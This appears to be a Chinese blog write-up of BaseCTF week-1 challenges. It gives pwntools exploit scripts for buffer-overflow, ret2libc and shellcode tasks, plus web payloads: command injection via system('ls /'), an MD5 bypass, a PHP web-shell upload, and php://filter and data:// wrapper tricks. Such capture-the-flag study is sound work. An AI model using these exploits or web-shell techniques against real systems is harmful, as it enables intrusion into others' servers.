BaseCTF week1 writeup 2

BaseCTF  writeup 2

Pwn 

1. 我把她丢了

# from pwn import *
# p=remote('challenge.basectf.fun',23681)
# elf=ELF('/home/kali/Desktop/我把她丢了')
# bin_sh=0x0402008
# pop_rdi_adder=0x0401196
# sys_plt_addr=elf.plt['system']
# ret_adder=0x0000040101a
#
payload=b'a'*(0x70+8)+p64(ret_adder)+p64(pop_rdi_adder)+p64(bin_sh)+p64(sys_
plt_addr)
# p.sendlineafter('I lost her, what should I do? Help me find her.',payload)
# p.interactive()

2. Ret2text 

from pwn import *
p=remote('challenge.basectf.fun','20423')
bin_sh=0x04011BB
payload=b'a'*(0x20+8)+p64(bin_sh)
p.sendline(payload)
p.interactive()

3. shellcode 

from pwn import *
p=remote('challenge.basectf.fun',43755)
shellcode
="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\
x99\x0f\x05"
payload=b'a'*(0x10+8)
p.sendlineafter('please input shellcode:',shellcode)
p.sendline(payload)
p.interactive()

4.签个道吧! 

5. 彻底失去她 

from pwn import *
from LibcSearcher import*
p=remote('ip',port)
elf=ELF('/home/kali/Desktop/彻底失去她')
main_adder=0x401214
rdi_adder=0x00401196
ret_add=0x0040101A
payload1=b'a'*(0xA+8)+p64(rdi_adder)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(mai
n_adder)
# p.sendlineafter("I still don't know your name, could you tell me your
name?\n",payload1)
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr - libc.dump('puts')
system_addr=libc_base + libc.dump('system')
bin_sh_addr=libc_base + libc.dump('str_bin_sh')
print("libc_base:"+hex(libc_base))
print("system:"+hex(system_addr))
payload2=b'a'*(0xA+8)+p64(ret_add)+p64(rdi_adder)+p64(bin_sh_addr)+p64(system_a
ddr)
p.recvline("I still don't know your name, could you tell me your name?\n")
p.sendline(payload2)
p.interactive()

Web

1. HTTP 是什么呀!

第一个的 GET 传参%00 的 url 转义为%2500

构造完成之后直接在网络里面可以看到

 2. 喵喵喵´•ﻌ•`
直接构造 payload,因为没有任何限制所以很好构造
Payload:?DT=system(‘ls /’);


看到 flag 然后去 cat 就可以了,一定要记住在根目录下

2. md5 绕过欸


这个的话可以看到一个是双等号,一个三等号,一个弱比较一个强比较

弱比较很简单,网上搜 md5 绕过就有,但是强比较的话,最简单的办法就是数组绕过 

3.Payload: 

4. upload 

第一时间传的图片马但是,没改后缀,后面传了一个 php 文件,发现也是可以的,唯
一一个限制就是木马用 POST 传不是 GET 上传之后看网络,然后可以看到上传文件的路径

上传成功,然后去连接蚁剑就可以了 

 

一种办法是这样去通过点击目录方式,还有一种办法是通过命令模式
右键这个连接成功的地址可以看到一个虚拟终端 

记住 CTF 中文件上传还有命令执行的 flag 大部分的都在根目录下,不要去别的地方找 

 5. Aura 酱的礼物

Payload:
pen=data://text/plain;base64,QXVyYQ==&challenge=http://jasmineaura.github.io@127
.0.0.1&gift=php://filter/read=convert.base64-encode/resource=flag.php
第一层其实还算好绕过的最经典的伪协议,然后就是第二层,其实我没在博客找到啥
东西,我直接就想到了 ssrf,最后就是文件包含更是经典的经典

芜湖就到这了吧,我逆向不好要是有人想看的话可以在文章末评价一下,我可以把我做过的讲一讲! 

各位观众大老爷们,我是一名准大一新生,想在暑假期间带几个学生,教他们漏洞挖掘。也算挣点学费了(主要是捡垃圾真的不挣钱啊!!!)有意的可以联系我!!!

最后的最后再次谢谢各位师傅的关注和评价!

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值